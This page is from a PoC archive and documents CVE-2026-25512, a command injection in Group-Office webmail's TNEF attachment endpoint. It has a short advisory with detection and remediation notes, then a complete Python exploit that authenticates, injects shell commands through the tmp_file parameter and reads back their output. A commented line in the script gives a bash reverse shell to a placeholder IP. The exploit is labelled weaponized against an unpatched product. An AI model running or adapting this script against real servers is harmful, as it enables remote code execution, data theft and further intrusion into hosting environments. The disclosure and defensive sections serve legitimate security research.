PoC Archive PoC Archive
Critical CVE-2026-25512 unpatched

Group-Office TNEF Attachment Handler OS Command Injection (CVE-2026-25512)

by Oreo (NumberOreo1) · 2026-07-05

CVSS 9.4/10
Severity
Critical
CVE
CVE-2026-25512
Category
web
Affected product
Group-Office groupware/webmail suite
Affected versions
Group-Office <= 26.0.4
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherOreo (NumberOreo1)
CVE / AdvisoryCVE-2026-25512
Categoryweb
SeverityCritical
CVSS Score9.4 (CVSS 4.0: AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
StatusWeaponized
Tagscommand-injection, rce, groupware, email, tnef, cwe-78, authenticated, webmail
RelatedN/A

Affected Target

FieldValue
Software / SystemGroup-Office groupware/webmail suite
Versions AffectedGroup-Office <= 26.0.4
Language / PlatformPython 3 (PoC), target is a PHP web application
Authentication RequiredYes (valid session + CSRF security_token)
Network Access RequiredYes

Summary

CVE-2026-25512 is an OS command injection in Group-Office’s TNEF (winmail.dat) attachment handler. The email/message/tnefAttachmentFromTempFile endpoint takes a user-controlled tmp_file parameter and concatenates it, unescaped, directly into a shell exec() call that invokes the tnef extraction utility. Because shell metacharacters in tmp_file are not sanitized, an authenticated attacker can append arbitrary commands to the string, which then execute under the web server’s privileges (www-data). The included PoC authenticates, retrieves the CSRF token, injects a payload, and confirms code execution by reading back an output marker embedded in the response ZIP.


Vulnerability Details

Root Cause

MessageController::actionTnefAttachmentFromTempFile() in www/modules/email/controller/MessageController.php builds a shell command via string concatenation using the raw tmp_file request parameter and passes it to PHP’s exec(), with no escaping or allow-listing of characters.

Attack Vector

  1. Authenticate to Group-Office and obtain a session plus CSRF security_token.
  2. Send a request to index.php?r=email/message/tnefAttachmentFromTempFile with tmp_file containing a shell metacharacter payload (e.g. dummy.dat;id > rce.txt;#).
  3. The server executes the injected command as part of the tnef/zip shell pipeline and returns a ZIP archive.
  4. Extract the returned ZIP and read the attacker-specified output file (e.g. rce.txt) to confirm command execution and retrieve output.

Impact

Full remote code execution as the web server user, enabling reading/modifying/deleting server files and pivoting further into the hosting environment.


Environment / Lab Setup

Target:   Group-Office <= 26.0.4 web application
Attacker: Python 3, `requests` library, valid Group-Office credentials

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py

Edit TARGET_URL, USER_NAME, and PASSWORD constants at the top of the script first. It logs in to obtain a security_token, sends the crafted tmp_file payload to the vulnerable endpoint, unzips the returned archive, and checks for a unique marker string to confirm RCE, printing the injected command’s output.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected processes spawned by the www-data (or equivalent) web server user
  • Unusual files such as rce.txt or id output dropped in the web application’s temp/working directories
  • Group-Office access logs showing tnefAttachmentFromTempFile requests with anomalous tmp_file values

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory and update Group-Office when a fixed release is published
Interim mitigationValidate/allow-list tmp_file to strictly match expected temp filename patterns; use escapeshellarg()/parameterized process execution instead of string concatenation into exec()

References


Notes

Mirrored from https://github.com/NumberOreo1/CVE-2026-25512 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3
import io
import os
import sys
import uuid
import zipfile
import requests

TARGET_URL = "http://localhost:9090"
USER_NAME = "user"
PASSWORD = "[PASSWORD]"
CMD = "id" # CMD = "bash -c 'bash -i >& /dev/tcp/XXXX.XXXX.XXXX.XXXX/4444 0>&1'" For reverse shell

def index_url(base_url: str) -> str:
    if base_url.endswith(".php"):
        return base_url
    return base_url.rstrip("/") + "/index.php"


def login(session: requests.Session) -> str:
    url = index_url(TARGET_URL) + "?r=core/auth/login"
    headers = {"X-Requested-With": "XMLHttpRequest"}
    data = {"username": USER_NAME, "password": PASSWORD}

    print(f"[*] Target: {TARGET_URL}")

    resp = session.post(url, data=data, headers=headers)
    try:
        body = resp.json()
    except Exception:
        print("[!] Login response is not JSON")
        print(f"    Status: {resp.status_code}")
        print(f"    Body (first 200 chars): {resp.text[:200]}")
        sys.exit(1)

    print(f"[*] Login status: {resp.status_code}")

    if not body.get("success"):
        print("[!] Login failed")
        print(f"    Response: {body}")
        sys.exit(1)

    token = body.get("security_token")
    if not token:
        print("[!] Missing security_token in login response")
        print(f"    Response: {body}")
        sys.exit(1)

    print("[*] Login ok, security_token received")

    return token


def exploit(session: requests.Session, security_token: str) -> None:
    url = index_url(TARGET_URL) + "?r=email/message/tnefAttachmentFromTempFile"
    marker = "RCE_POC_" + uuid.uuid4().hex[:8]
    payload = f"dummy.dat;{CMD} > /tmp/id;{CMD} > rce.txt;echo {marker} >> rce.txt;#"
    params = {"tmp_file": payload, "security_token": security_token}
    print(f"[*] Exploit URL: {url}")
    print(f"[*] tmp_file payload: {payload}")
    resp = session.get(url, params=params)
    if resp.status_code != 200:
        print(f"[!] Unexpected HTTP status: {resp.status_code}")
    print(f"[*] Response status: {resp.status_code}")

    try:
        zf = zipfile.ZipFile(io.BytesIO(resp.content))
    except zipfile.BadZipFile:
        print("[!] Response is not a ZIP file")
        print(f"    Body (first 200 chars): {resp.text[:200]}")
        return

    if "rce.txt" not in zf.namelist():
        print("[!] ZIP received but rce.txt not found")
        print(f"    Files: {zf.namelist()}")
        return

    data = zf.read("rce.txt").decode(errors="replace").strip()
    if marker in data:
        print(f"[+] RCE Confirmed")
        output = data.replace(marker, "").strip()
        print(f"[+] Command output ({CMD}):")
        print(output)
    else:
        print("[!] rce.txt found but marker missing")
        print(f"    rce.txt content: {data}")


def main() -> None:
    session = requests.Session()
    token = login(session)
    exploit(session, token)


if __name__ == "__main__":
    main()